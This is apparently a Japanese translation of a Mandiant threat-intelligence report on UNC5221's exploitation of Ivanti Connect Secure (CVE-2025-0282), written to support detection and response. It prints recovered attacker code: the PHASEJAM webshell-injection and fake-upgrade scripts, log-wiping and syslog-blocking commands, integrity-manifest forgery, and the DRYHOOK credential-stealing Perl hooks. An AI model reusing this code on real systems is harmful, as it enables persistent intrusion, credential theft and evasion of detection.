コンテンツに移動
脅威インテリジェンス

Ivanti Connect Secure VPN が新たなゼロデイ攻撃の標的に

2025年2月5日
Mandiant

Mandiant Incident Response

Investigate, contain, and remediate security incidents.

Learn more

※この投稿は米国時間 2025 年 1 月 9 日に、Google Cloud blog に投稿されたものの抄訳です。

注: これは、Mandiant と Ivanti による積極的な分析に基づき現在開発中のキャンペーンです。必要に応じて、今後もさらなる指標、知見、情報をこのブログ投稿に追加していきます。

2025 年 1 月 8 日(水)、Ivanti は Ivanti Connect Secure(ICS)VPN アプライアンスに影響を与える 2 つの脆弱性、CVE-2025-0282CVE-2025-0283 を開示しました。Mandiant は、2024 年 12 月中旬から、CVE-2025-0282 のゼロデイ攻撃による実際の悪用が行われていることを確認しています。CVE-2025-0282 は、未認証でスタックベースのバッファ オーバーフローです。脆弱性の悪用が成功すると、認証不要でリモートコードを実行でき、標的となったネットワークがダウンストリームで侵害される可能性があります。

Ivanti、および影響を受けたユーザーは、同社が提供する完全性チェックツール(ICT)や他の市販のセキュリティ モニタリング ツールの示す兆候に基づき、この侵害を特定しました。Ivanti は Mandiant、影響を受けたユーザー、行政機関パートナー、セキュリティ ベンダーと緊密に連携し、これらの問題に対処しています。Ivanti は調査の結果に基づき、悪用された脆弱性に対するパッチをこのキャンペーンでリリースしています。Ivanti のユーザーには、システムをできるだけ早く保護するために、セキュリティ アドバイザリに記載された措置を実施することを強くおすすめします。

Mandiantは、このブログ投稿で説明されている活動を UNC5221 によるものと関連付けています。UNC5221 は、 2023 年 12 月の時点で Ivanti Connect Secure VPN アプライアンスに影響を与える2つの脆弱性 CVE-2023-46805 と CVE-2024-21887 を悪用したことがある、中国に結びつくサイバースパイグループであると疑われています。CVE-2023-46805(認証バイパス)および CVE-2024-21887 (コマンドインジェクション)の悪用に成功した後、 UNC5221 は、ZIPLINE パッシブバックドア、 THINSPOOL ドロッパー、 LIGHTWIRE ウェブシェル、 WARPWIRE クレデンシャルハーベスターなど、複数のカスタムマルウェアファミリーを活用しました。 UNC5221 はまた、 PySoxy トンネラーと BusyBox を活用して、エクスプロイト後の活動を可能にしていることも確認されています。

Mandiant は以前、 SPAWN マルウェアエコシステムSPAWNANTインストーラ、SPAWNMOLE トンネラー、 SPAWNSNAIL SSH バックドアを含む)を UNC5337 によるものであるとしていました。このブログ記事の公開後、Mandiantは UNC5337 を UNC5221 に統合しました。

脆弱性の悪用

CVE-2025-0282 は ICS リリース 22.7R2 の複数のパッチレベルに影響しますが、脆弱性の悪用が成功するかどうかはバージョンに依存します。攻撃の前に、アプライアンスへのリクエストが繰り返し送信されていることが確認されていますが、これは脆弱性の悪用を試みる前に、バージョンを判別しようとしているものと考えられます。

/dana-cached/hc/hc_launcher.22.7.2.2615.jar
/dana-cached/hc/hc_launcher.22.7.2.3191.jar
/dana-cached/hc/hc_launcher.22.7.2.3221.jar
/dana-cached/hc/hc_launcher.22.7.2.3431.jar

バージョン検出は、アプライアンスのバージョンの判別を目的として、上に挙げた Host Checker Launcher や他のクライアント インストーラを使用して実施されていることが確認されています。VPS プロバイダや Tor ネットワークからのこれらの URL への HTTP リクエスト、特にバージョン順に連続して行われたものは、攻撃前の偵察行為である可能性を示唆しています。

CVE-2025-0282 の悪用にはいくつかのバリエーションがありますが、脆弱性利用型不正プログラムとスクリプトは、一般的には次のような手順を実行します。

  1. SELinux を無効にする

  2. syslog 転送を阻止する

  3. 読み取り / 書き込みを行うタイプとしてドライブを再マウントする

  4. スクリプトを作成する

  5. このスクリプトを実行する

  6. 1 つ以上のウェブシェルをデプロイする

  7. sed を使用して、デバッグおよびアプリケーション ログから特定のログエントリを削除する

  8. SELinux を再度有効にする

  9. ドライブを再マウントする

脅威アクターは、脆弱性の悪用に成功すると直ちに SELinux を無効にし、iptables を使用して syslog 転送をブロックし、アプライアンスにマルウェアを書き込めるようにルート パーティションを再マウントします。

setenforce 0
iptables -A OUTPUT -p udp --dport 514 -j DROP
iptables -A OUTPUT -p tcp --dport 514 -j DROP
iptables -A OUTPUT -p udp --dport 6514 -j DROP
iptables -A OUTPUT -p tcp --dport 6514 -j DROP
mount -o remount,rw /

マルウェアのステージング

Mandiant の観察によると、脅威アクターはシェル スクリプトを使用して、Base64 エンコードされたスクリプトを /tmp/.t にエコーし、そのファイルに実行権限を設定していました。以下に、/tmp/.t のコンテンツを示します。

#!/bin/sh
export LD_LIBRARY_PATH=/home/lib/;export DSINSTALL=/home;
export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/;
dmesg -C;bash /tmp/s>/tmp/kN;

次に、脅威アクターは Base-64 エンコードされた ELF バイナリを /tmp/svb に書き込みます。ELF バイナリは、まず setuid を使用して、プロセスのオーナーを root に設定します。次に、親プロセスの root 権限を継承する /tmp/s(PHASEJAM)を実行します。その後、脅威アクターは dd を使用して svb ファイルをゼロで上書きし、/tmp/.t を削除します。

/bin/chmod 6777 /tmp/svb;
/tmp/svb;
/bin/dd count=1 bs=4096 if=/dev/zero of=/tmp/svb;
/bin/chmod 666 /tmp/svb;
/bin/rm -rf /tmp/.t;

PHASEJAM

PHASEJAM は、Ivanti Connect Secure アプライアンスのコンポーネントを不正に変更する Bash シェル スクリプトとして記述されたドロッパーです。PHASEJAM の主な機能は、getComponent.cgi および restAuth.cgi ファイルにウェブシェルを挿入し、DSUpgrade.pm ファイルを修正してシステム アップグレードを阻止し、remotedebug 実行可能ファイルを上書きして、特定のパラメータが渡された際に任意のコマンドを実行できるようにすることです。

ウェブシェル

PHASEJAM は、getComponent.cgi および restAuth.cgi という正当なファイル内に、AccessAllow() という名前の関数としてウェブシェルを挿入します。これは Perl ベースのウェブシェルであり、侵害された ICS サーバー上でのリモート アクセスとコード実行機能を脅威アクターに提供します。このウェブシェルは MIME::Base64 モジュールを使用して、コマンドとデータをエンコードおよびデコードします。

次の表は、HTTP クエリ パラメータから派生した特定のコマンドを介してアクセス可能な、このウェブシェルの各機能をまとめたものです。

コマンド

説明

1

HTTP_CODE 環境変数で渡されたコードをデコードし、その結果を /tmp ディレクトリ下の test.p という名前のファイルに書き込みます。さらに、このファイルを /bin/bash を使用して実行し、コマンドの実行結果を攻撃者に返します。

2

コマンド 1 と似ていますが、/home/bin/dsrunpriv とパッチ適用済みの remotedebug ファイルを使用して、提供されたコマンドを実行します。

3

HTTP_CODE 環境変数で指定された名前と、License パラメータで指定された内容を使用して、/tmp ディレクトリ内にファイルを作成します。攻撃者はこの機能により、侵害されたアプライアンスに任意のファイルをアップロードできるようになります。

4

Base64 デコードされた HTTP_CODE 環境変数によって指定されたファイルの内容を読み取り、その内容を攻撃者に返します。攻撃者はこれにより、対象アプライアンスからデータを抜き取ることができます。

5

コマンド 3 と似ていますが、ターゲット ファイルがすでにアプライアンス上に存在する場合、追加するのではなく上書きします。

アップグレードのブロックとシミュレート

PHASEJAM はアップグレードの試みを妨害し、アップグレードをシミュレートするために、processUpgradeDisplay() という名前の悪意ある関数を /home/perl/DSUpgrade.pm ファイルに注入します。これは、13 のステップから成るアップグレード プロセスをシミュレートする関数であり、各ステップにはそれぞれ所定の時間がかかります。ICS 管理者がアップグレードを試みると、この関数は実行中のプロセスを模倣しようと、各ステップの説明とさまざまな数のドットを示す、視覚的に説得力のあるアップグレード プロセスを表示します。この詳細については、「システム アップグレード後の存続」セクションで説明します。

remotedebug フッキング

PHASEJAM は、/home/bin/remotedebug ファイルの名前を remotedebug.bak に変更します。PHASEJAM は新たに /home/bin/remotedebug シェル スクリプトを作成し、remotedebug のへ呼び出しのフッキングに使用します。この短いシェル スクリプトは、新しい -c パラメータをチェックします。これは、ウェブシェルによるリモートコードの実行を許可するパラメータです。他のすべてのパラメータは、remotedebug.bak にそのまま渡されます。

以下に、PHASEJAM サンプルの要約を示します。

# create backdoor 1
cp /home/webserver/htdocs/dana-na/jam/getComponent.cgi 
/home/webserver/htdocs/dana-na/jam/getComponent.cgi.bak

sed -i 's/sub main {/sub main {my \$r7=AccessAllow();return if 
\$r7;/g' /home/webserver/htdocs/dana-na/jam/getComponent.cgi

sh=$(echo CnN1YiB...QogICAK|base64 -d)

up=$(echo CnN1YiB...xuIjsKCn0K |base64 -d)

grep -q 'sub AccessAllow()' || echo "$sh" >> 
/home/webserver/htdocs/dana-na/jam/getComponent.cgi

sed -i "s/$(grep /home/webserver/htdocs/dana-na/jam/getComponent.cgi 
/home/etc/manifest/manifest -a |grep 
-oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 
/home/webserver/htdocs/dana-na/jam/getComponent.cgi |grep 
-oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest;


#pkill cgi-server	


# create backdoor 2
cp /home/webserver/htdocs/dana-na/auth/restAuth.cgi 
/home/webserver/htdocs/dana-na/auth/restAuth.cgi.bak

sed -i 's/sub main {/sub main {my \$r7=AccessAllow();return if 
\$r7;/g' /home/webserver/htdocs/dana-na/auth/restAuth.cgi

grep -q 'sub AccessAllow()' echo "$sh" >> 
/home/webserver/htdocs/dana-na/auth/restAuth.cgi

sed -i "s/$(grep /home/webserver/htdocs/dana-na/auth/restAuth.cgi 
/home/etc/manifest/manifest -a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl 
dgst -sha256 /home/webserver/htdocs/dana-na/auth/restAuth.cgi |grep 
-oE '[0-9a-f]{64}')/g" /home/etc/manifest/manifest;

#pkill cgi-server


# remotedebug
cp -f /home/bin/remotedebug /home/bin/remotedebug.bak
echo IyEvYmluL2Jhc2gKaWYgWyAiJDEiID09ICItYyIgXTsgdGhlbgoJYm
FzaCAiJEAiCmVsc2UKCWV4ZWMgL2hvbWUvYmluL3JlbW90ZWRlYnV
nLmJhayAiJEAiCmZpICAK|base64 -d >/home/bin/remotedebug
chmod 777 /home/bin/remotedebug.bak
sed -i "s/$(grep /home/bin/remotedebug /home/etc/manifest/manifest 
-a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 
/home/bin/remotedebug |grep -oE '[0-9a-f]{64}')/g" 
/home/etc/manifest/manifest;

# upgrade
cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak
sed -i 's/popen(\*FH, \$prog);/processUpgradeDisplay(\$prog, 
\$console, \$html);return 0;popen(\*FH, \$prog);/g' 
/home/perl/DSUpgrade.pm
grep -q 'sub processUpgradeDisplay()' || echo "$up" >> 
/home/perl/DSUpgrade.pm
sed -i "s/$(grep /home/perl/DSUpgrade.pm /home/etc/manifest/manifest 
-a |grep -oE '[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 
/home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g" 
/home/etc/manifest/manifest;
pkill cgi-server

アンチフォレンジック

脆弱性の悪用後、脅威アクターはアプライアンスのいくつもの重要な領域から、悪用の証拠を削除していることが確認されています。

  1. dmesg を使用してカーネル メッセージを削除し、攻撃中に生成されたエントリをデバッグログから削除

  2. プロセス クラッシュ時に生成されたトラブルシューティング情報パッケージ(状態ダンプ)とすべてのコアダンプを削除

  3. syslog 障害、内部 ICT 障害、クラッシュ トレース、証明書の処理エラーに関連するログ アプリケーションのイベントログ エントリを削除

  4. 実行されたコマンドを SELinux 監査ログから削除

dmesg -C
cd /data/var/dlogs/
sed -i '/segfault/d' debuglog
sed -i '/segfault/d' debuglog.old
sed -i '/SystemError/d' debuglog
sed -i '/SystemError/d' debuglog.old
sed -i '/ifttls/d' debuglog
sed -i '/ifttls/d' debuglog.old
sed -i '/main.cc/d' debuglog
sed -i '/main.cc/d' debuglog.old
sed -i '/SSL_read/d' debuglog
sed -i '/SSL_read/d' debuglog.old
sed -i '/tlsconnectionpoint/d' debuglog
sed -i '/tlsconnectionpoint/d' debuglog.old
rm -rf /data/var/statedumps/*
rm -rf /data/var/cores/*
cd /home/runtime/logs
sed -i 's/[^\x00]\{1\}\x00[^\x00]*web server[^\x00]*\x00//g' log.events.vc0
sed -i 's/[^\x00]\{1\}\x00[^\x00]*AUT24604[^\x00]*\x00//g' log.events.vc0
sed -i 's/[^\x00]\{1\}\x00[^\x00]*SYS31048[^\x00]*\x00//g' log.events.vc0
sed -i 's/[^\x01]\{1\}\x01[^\x01]*SYS31376[^\x01]*\x01//g' log.events.vc0
sed -i 's/\x01[^\x01]\{2,3\}6[^\x01]*ERR10073[^\xff]*\x09[^\x01]\{1\}\x01/
\x01/g' log.events.vc0
cd /data/var/log/audit/
sed -i '/bin\/web/d' audit.log
sed -i '/setenforce/d' audit.log
sed -i '/mount/d' audit.log
sed -i '/bin\/rm/d' audit.log

システム アップグレード後の存続

Mandiant は、侵害された Ivanti Connect Secure アプライアンス上で、システムがアップグレードされても脅威アクターが影響力を持続させるために使用した 2 つの手法を特定しました。

偽のシステム アップグレード

PHASEJAM による最初の手法では、管理者が ICS システムをアップグレードをしようとすると、偽の HTML アップグレード進行状況バーを表示して妨害すると同時に、正当なアップグレード プロセスを誰にも気付かれずにブロックします。アップグレードの試みがブロックされたため、アップグレードが成功したように見せかけながら、脅威アクターによって設置されたバックドアやツールが、現在実行中のバージョンの VPN 上に存続できるようになります。  

まず、脅威アクターは sed を使用して、悪意のある Perl コードを DSUpgrade.pm に挿入し、システム アップグレード プロセスの動作を変更します。シェル変数 $up に格納された、悪意のある processUpgradeDisplay() 関数が DSUpgrade.pm に追加されます。

sed -i 's/popen(\*FH, \$prog);/processUpgradeDisplay(\$prog, 
\$console, \$html);return 0;popen(\*FH, \$prog);/g' 
/home/perl/DSUpgrade.pm
grep -q 'sub processUpgradeDisplay()' || echo "$up" >> 
/home/perl/DSUpgrade.pm

新しいアップグレード パッケージのインストールを担う DSUpgrade.pm 内の関数内で、修正が行われます。挿入された、processUpgradeDisplay() への呼び出しで早期リターンを実行することにより、/pkg/dspkginstall を実行するための正当な popen() 呼び出しが到達不能となります。以下に、修正の結果となる DSUpgrade.pm の関連する部分を抜粋します。

local *FH;
my $prog = "/pkg/dspkginstall /var/tmp/new-pack.tgz";
if (defined $useUpgradePartition && $useUpgradePartition == 1) {
  $prog = "/pkg/dspkginstall /data/upgrade/new-pack.tgz";
}

processUpgradeDisplay($prog, $console, $html);
return 0;
popen(*FH, $prog);

この修正は、正規のアップグレード コマンドが実行される前に、悪意を持って作成された processUpgradeDisplay() 関数を呼び出すことで、標準のアップグレード フローを妨害します。以下は、挿入された processUpgradeDisplay() 関数のうち、偽の HTML アップグレード進行状況バーを表示する部分です。この関数は、sleep コマンドを使用して 1 秒ごとにドットを追加し、実行中のプロセスを模倣します。

$mystep = 13;
$count = 0;
$sleep_time = 2;
$myline = "Finalizing installation";
print $html "<li style=\"margin:6px;\">Step $mystep: $myline ...";
print $console "$myline ...";
while ($count < $sleep_time) {
      system("/bin/sleep 1");
      print $html ".";
      print $console ".";
      ++$count;
}
print $html " complete ($sleep_time seconds)</li>\n";
print $console " complete ($sleep_time seconds)\r\n";

Ivanti Connect Secure の最近のバージョンには、ファイル システムを定期的にスキャンして、システム侵害の兆候となりうる新規または変更されたシステム ファイルを検出する、完全性チェッカー ツール(ICT)が組み込まれています。この ICT は、スキャン プロセス中にマニフェストを使用します。このマニフェストには、システム上で予想されるファイルパスのリストと、予想される SHA256 ハッシュが含まれています。脅威アクターは ICT スキャナを回避するため、変更された DSUpgrade.pm の SHA256 ハッシュを再計算してマニフェストに挿入します。

sed -i "s/$(grep /home/perl/DSUpgrade.pm 
/home/etc/manifest/manifest -a |grep -oE 
'[0-9a-f]{64}')/$(/home/bin/openssl dgst -sha256 
/home/perl/DSUpgrade.pm |grep -oE '[0-9a-f]{64}')/g" 
/home/etc/manifest/manifest;

脅威アクターは、マウントされたアップグレード パーティション(tmp/root/home/VERSION)から VERSION ファイルを現在のバージョン パーティション(/home/VERSION)にコピーします。その結果、システムは古いアプライアンス バージョンで稼働を続けながら、アップグレードが成功したと不正に表示します。

chdir("/tmp");
system("/bin/mkdir", "-p", "root/home");
system("/bin/tar", "-xzf", $tgz_path, "./root/home/VERSION");
system("/bin/cp -f ./root/home/VERSION /data/versions/reset/VERSION");
system("/bin/cp -f ./root/home/VERSION /home/VERSION");

アップグレード パーティションの VERSION ファイルの SHA256 ハッシュが再計算され、ICT マニフェストに挿入されます。

system('sed -i \'s/$(grep /home/VERSION|grep 
-oE "[0-9a-f]{64}")/$(/home/bin/openssl dgst -sha256 
/home/VERSION)/g\' /home/etc/manifest/manifest');

アップグレード後の存続

SPAWNANT(libupgrade.so)は、SPAWN ファミリーの次の 3 つのコンポーネントをインストールする ELF32 実行可能ファイルです。

  1. SPAWNMOLE トンネラー(libsocks5.so)

  2. SPAWNSNAIL SSH バックドア(libsshd.so)

  3. SPWANSLOTH ログ改ざんユーティリティ(.liblogblock.so)

SPAWNANT とそれをサポートする各コンポーネントは、システムのアップグレード後も存続します。SPAWNANT は、自身が存続するためのメカニズムを備える、悪意ある snprintf 関数をエクスポートすることで、システム アップグレード プロセス中に使用されるバイナリである dspkginstall の実行フローをハイジャックします。

このブログ投稿で最初に説明したシステム アップグレード後の存続手法とは異なり、SPAWANT はアップグレード プロセスをブロックしません。アップグレード プロセス後も存続するため、SPAWANT は自身とそのコンポーネントが、新しいアップグレード パーティション(正規のシステム アップグレード プロセス中に /tmp/data/ にマウントされます)に確実に移行されるように仕組みます。

cp /lib/libupgrade.so /tmp/data/root/lib
cp /home/lib/libsocks5.so /tmp/data/root/home/lib
cp /home/lib/libsshd.so /tmp/data/root/home/lib

SPAWNANT は LD_PRELOAD 環境変数を、アップグレード パーティションの DSUpgrade.pm 内にある自分自身(libupgrade.so)に設定します。この修正はダイナミック リンカーに対し、libupgrade.so をロードし、SPAWANT のエクスポートした悪意ある snprintf 関数を他のライブラリより前に使用するように指示するものです。

ENV{“LD_PRELOAD”} = “libupgrade.so”

次に、SPAWNANT はアップグレード パーティション上の compcheckresult.cgi にウェブシェルを書き込むことで、バックドアにアクセスするもう一つの方法を確立します。ウェブシェルは system() を使用して、ハードコードされたクエリ パラメータに渡された値を実行します。以下に、挿入されたウェブシェルの関連する部分を抜粋します。

if(CGI::param("<redacted>")) {
	print "Cache-Control: no-cache"; 
	print "Content-type: text/html"; 
	my $a=CGI::param("<redacted>"); 
	system("$a");
}

SPAWNANT はこのプロセス全体の中で、悪意を持って変更されたすべてのファイルに対して SHA256 ハッシュを再計算することで、ICT を回避するよう注意しています。必要な修正が完了すると、SPAWANT は新しい RSA 鍵ペアを生成して、修正されたマニフェストに署名します。

/home/bin/openssl genrsa -out private.pem 2048
/home/bin/openssl rsa -in private.pem -out manifest.2 
-outform PEM -pubout
/home/bin/openssl dgst -sha512 -sign private.pem -out 
manifest.1 /tmp/data/root/home/etc/manifest/manifest
mv manifest.1 manifest.2 /tmp/data/root/home/etc/manifest/
rm -f private.pem'

脆弱性の悪用後

トンネラー

Mandiant は、こうしてアプライアンス上に最初の足がかりが確立された後、一般公開されているものやオープンソースのものも含め、多数の種類のトンネラーが設置されていることを確認しました。これらのトンネラーは、脅威アクターのコマンド&コントロール インフラストラクチャと侵害されたアプライアンスとの間に通信チャネルを構築しやすくするためのものです。これらのトンネラーにより、攻撃者はネットワーク セキュリティ制御を回避でき、標的環境内でのラテラル ムーブメントを実行できる可能性があります。

SPAWNMOLE

最先端の脅威 - Part 4 で初めて報告された SPAWNMOLE は、ウェブプロセスに注入されるトンネラーです。これは、web プロセスで accept 関数をハイジャックし、トラフィックをモニタリングして、攻撃者から発信された悪意あるトラフィックを除外します。SPAWNMOLE は、特定の一連のマジックバイトを検出すると活動状態となります。一方、悪意のない残りのトラフィックは、変更されずに正規のウェブサーバー関数に渡されます。悪意のあるトラフィックは、バッファで攻撃者から提供されたホストにトンネリングされます。

LDAP クエリ

脅威アクターは、内部ネットワークを偵察するために複数のツールを使用していました。このアプライアンスから何にアクセスできるか判別するために、nmap や dig といった、ICS アプライアンスの組み込みツールも使用されていました。また、脅威アクターは ICS アプライアンスの LDAP サービス アカウント(構成されている場合)を利用して LDAP クエリを実行していることも確認されています。さらに、LDAP サービス アカウントは Active Directory サーバーを含むネットワーク内で、SMB または RDP を介したラテラル・ムーブメントに利用されていたことも確認されました。確認された攻撃者のコマンドは、次のような行で開始されています。

#!/bin/sh 
export LD_LIBRARY_PATH=/home/lib/;
export DSINSTALL=/home;
export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/home/bin:/home/venv3/bin/;
dmesg -c;
<commands>

脅威アクターは LDAP クエリを実行する前に、次の偵察コマンドを実行していたことも確認されています。

dig @<IP ADDRESS> <VICTIM DOMAIN> A
nmap -Pn -sT -p 80,443,445 <IP ADDRESS> --open

LDAP クエリは /tmp/lmdbcerr を使用して実行され、その結果は /tmp ディレクトリ内のランダムな名前のファイルに出力されます。パスワード、ホスト、クエリはコマンドライン引数として渡されています。

/tmp/lmdbcerr [redacted] -u 'CN=[redacted],CN=Managed Service 
Accounts,DC=[redacted]' -p '[redacted]' -h <IP ADDRESS> --tls --dn 
DC=[redacted] -o /tmp/<RANDOM STRING>

/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h 
api-[redacted].duosecurity.com --tls --dn dc=[redacted] -o 
/tmp/<RANDOM STRING>

/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' -h 
api-[redacted].duosecurity.com --tls --filter '(cn=*)' --dn dc=[redacted] 
-o /tmp/<RANDOM STRING>

/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' 
-h api-[redacted].duosecurity.com --tls --filter '(distinguishedName=*)' 
--dn dc=[redacted] -o /tmp/<RANDOM STRING>

/tmp/lmdbcerr [redacted] -u 'dc=[redacted]' -p '<PASSWORD>' 
-h api-[redacted].duosecurity.com --tls --filter '(dn=*)' --dn dc=[redacted] 
-o /tmp/<RANDOM STRING>

アプライアンスのキャッシュ データベースの窃盗

Mandiant は、脅威アクターが侵害されたアプライアンス上のデータベース キャッシュをアーカイブし、そのデータをパブリック ウェブサーバーが提供するディレクトリにステージングして、データベースの外部流出を可能にしていることを確認しました。データベース キャッシュには、VPN セッション、セッション Cookie、API キー、証明書、認証情報に関連付けられた情報が含まれている場合もあります。

脅威アクターは、/runtime/mtmp/lmdb のコンテンツをアーカイブします。生成された tar アーカイブは自らの名前を変え、/home/webserver/htdocs/dana-na/css/ 内の CSS ファイルになりすまします。

Ivanti は以前、データベース キャッシュ ダンプから生じる可能性のあるリスクの対処に関するガイダンスを公開しています。これには、ローカル アカウントの認証情報のリセット、API キーのリセット、証明書の取り消しなどが記載されています。

認証情報の収集

Mandiant は、脅威アクターが認証情報を窃取する目的で、DRYHOOK として追跡されている Python スクリプトをデプロイしていることを確認しています。このマルウェアは、認証に成功した情報を窃取する目的で、Ivanti Connect Secure 環境に属する DSAuth.pm というシステム コンポーネントを変更するように設計されています。

この悪意ある Python スクリプトは、実行されると /home/perl/DSAuth.pm を開き、そのコンテンツをバッファ内に読み取ります。さらに、正規表現を使用して、以下のコード行を検索して置換します。

*setPrompt
*runSignin = *DSAuthc::RealmSignin_runSignin;
*runSigninEBSL

上記の *setPrompt 値が、次の Perl コードに置換されます。

# *setPrompt
$ds_g="";
sub setPrompt{
    eval{
        my $res=@_[1]."=".@_[2]."\n";
        $ds_g .= $res;
    };
    return DSAuthc::RealmSignin_setPrompt(@_);
}
$ds_e="";

注入された setPrompt ルーティンは、2 番目と 3 番目のパラメータをキャプチャし、それらを <param2>=<param3> というフォーマットで結合し、生成された文字列を $ds_g というグローバル変数に割り当てます。以下に示す、次に行われる置換では、2 番目のパラメータがユーザー名であり、3 番目のパラメータが認証しようとしているユーザーのパスワードであることがわかります。

# *runSignin = *DSAuthc::RealmSignin_runSignin;
$ds_g1="";
sub encode_base64 ($;$)
{
    my $res = "";
    my $eol = $_[1];
    $eol = "\n" unless defined $eol;
    pos($_[0]) = 0;                          # ensure start at the beginning

    $res = join '', map( pack('u',$_)=~ /^.(\S*)/, ($_[0]=~/(.{1,45})/gs));

    $res =~ tr|` -_|AA-Za-z0-9+/|;               # `# help emacs
    # fix padding at the end
    my $padding = (3 - length($_[0]) % 3) % 3;
    $res =~ s/.{$padding}$/'=' x $padding/e if $padding;
    return $res;
}
sub runSignin{
    my $res=DSAuthc::RealmSignin_runSignin(@_);
    if(@_[1]->{status} != $DSAuth::Reject && 
        @_[1]->{status} != $DSAuth::Restart){
        if($ds_g ne ""){
            CORE::open(FH,">>/tmp/cmdmmap.kuwMW");
            my $dd=RC4("redacted",$ds_g);
            print FH encode_base64($dd)."\n";
            CORE::close(FH);
            $ds_g = ""; 
        }   
    }
    elsif(@_[1]->{status} == $DSAuth::Reject || 
            @_[1]->{status} == $DSAuth::Restart){
        $ds_g = ""; 
    }
    return $res;
}
$ds_e1="";

上記のコードには、encode_base64 と runSignin という 2 つのサブルーティンが含まれています。前者のサブルーティンは、文字列を Base64 でエンコードします。後者はログイン プロセスをインターセプトし、ログインに成功すると、保存された認証情報をシリアル化して、/tmp ディレクトリの cmdmmap.kuwMW ファイルに含まれる、ユーザー名とパスワードを表すグローバル変数 $ds_g に格納します。<username>=<password> 文字列は、まずハードコードされた鍵で RC4 暗号化され、さらに encode_base64 ルーティンによって Base64 エンコードされた後、cmdmmap.kuwMW ファイルに保存されます。

最後のコード置換は次のようになります。これは上記のコードと同じですが、このコードでは EBSL という別のログイン方式を対象としています。

# *runSigninEBSL
$ds_g2="";
sub runSigninEBSL{
    my $res=DSAuthc::RealmSignin_runSigninEBSL(@_);
    if(@_[1]->{status} != $DSAuth::Reject && 
        @_[1]->{status} != $DSAuth::Restart){
        if($ds_g ne ""){
            use Crypt::RC4;
            CORE::open(FH,">>/tmp/cmdmmap.kuwMW");
            my $dd=RC4("redacted",$ds_g);
            print FH encode_base64($dd)."\n";
            CORE::close(FH);
            $ds_g = ""; 
        }   
    }
    elsif(@_[1]->{status} == $DSAuth::Reject || 
            @_[1]->{status} == $DSAuth::Restart){
        $ds_g = ""; 
    }
    return $res;
}
$ds_e2="";

変更が完了すると、マルウェアは変更したコンテンツを DSAuth.pm ファイルに書き戻そうと試みます。これに失敗した場合は、ファイル システムを読み書き可能に再マウントし、ファイルを書き込み、その後、ファイル システムを再び読み取り専用にマウントします。最後に、変更された DSAuth.pm を有効化するために、cgi-server プロセスのすべてのインスタンスを強制終了します。

帰属

Mandiantは、 UNC5337 を UNC5221 に統合し、これらの活動のクラスタが関連している可能性が高いという当初の仮説を裏付けました。 CVE-2023-46805 および CVE-2024-21887 とは別に、 Mandiant は以前、 UNC5221 が CVE-2023-4966 のゼロデイ悪用を行い、 NetScaler ADC および NetScaler Gateway アプライアンスに影響を与えていることを確認しています。 UNC5221 は、その活動において幅広い国や業種を標的としており、パッシブバックドアからアプライアンス上のトロイの木馬化された正規コンポーネントまで、広範なツールセットを活用しています。さらに、 Mandiant は以前、 UNC5221 が侵害された Cyberoam アプライアンスの可能性の高い ORB ネットワークを活用し、侵入操作を可能にしていることを確認しています。

まとめ

2024 年 1 月 10 日の CVE-2023-46805 および CVE-2024-21887 の開示後、Mandiant はさまざまな国や業種において、Ivanti Connect Secure アプライアンスを標的とした UNC5221 による広範な脆弱性の悪用を確認しました。Mandiant は総評して、防御側は広範囲にわたる日和見的な悪用、認証情報が標的とされる可能性、将来的なアクセスを可能にするためのウェブシェルのデプロイに備えるべきとしています。Mandiant はさらに、CVE-2025-0282 の概念実証(PoC)の脆弱性利用型不正プログラムが作成されリリースされた場合、Ivanti Connect Secure アプライアンスを標的にする新たな脅威アクターが現れる可能性が高いと評価しています。

推奨事項

Ivanti の推奨事項では、同社の外部および内部の完全性チェッカー ツール(ICT)を使用すること、不審な活動が認められた場合は Ivanti サポートに連絡することをおすすめしています。Mandiant は、脅威アクターが ICT による検知を回避しようとする試みを観察してきました。以下のスクリーンショットは、侵害されたデバイス上で、スキャンが成功した場合と失敗した場合の表示例を示しています。出力結果に報告されているステップ数に注目してください。

https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-new-zero-day-fig1.max-1400x1400.png

外部 ICT スキャン - 成功

https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-new-zero-day-fig2.max-1300x1300.png

外部 ICT スキャン - 失敗(実行されたステップ数が限定的)

Ivanti はまた、ICT チェックの結果はアプライアンスの現在の状態のスナップショットであり、アプライアンスがクリーンな状態に戻されてしまったら、脅威アクターの活動は必ずしも検出されないことも指摘しています。マルウェアやその他のセキュリティ侵害インジケーターは、ICT によってスキャンされません。Ivantiは、脆弱性悪用後の活動を検出した他のセキュリティ モニタリング ツールと組み合わせて ICT を実行することを推奨しています。

ICT の結果に侵害の兆候が認められた場合、Ivanti は、すべてのマルウェアが確実に削除されるようにアプライアンスを出荷時の設定にリセットし、その後、バージョン 22.7R2.5 を使用してアプライアンスを本番環境に戻すことを推奨しています。

謝辞

本調査に継続的にご協力およびご支援いただいた Ivanti のチームに、感謝の意を申し上げます。今回の分析は、Google Threat Intelligence グループと Mandiant FLARE のアナリストの皆様の協力がなければ実現しえませんでした。

セキュリティ侵害インジケーター(IoC)

このブログ投稿で概要を説明している活動を捕捉し特定するために、コミュニティ全体を支援する目的で、登録ユーザー向けにセキュリティ侵害インジケーター(IOC)を GTI コレクションに含めました。

コード ファミリー

ファイル名

説明

DRYHOOK

なし

認証情報窃取ツール

PHASEJAM

/tmp/s

ウェブシェル ドロッパ-

PHASEJAM ウェブシェル

/home/webserver/htdocs/dana-na/auth/getComponent.cgi

ウェブシェル

PHASEJAM ウェブシェル

/home/webserver/htdocs/dana-na/auth/restAuth.cgi

ウェブシェル

SPAWNSNAIL

/root/home/lib/libsshd.so

SSH バックドア

SPAWNMOLE

/root/home/lib/libsocks5.so

トンネラー

SPAWNANT

/root/lib/libupgrade.so

インストーラ

SPAWNSLOTH

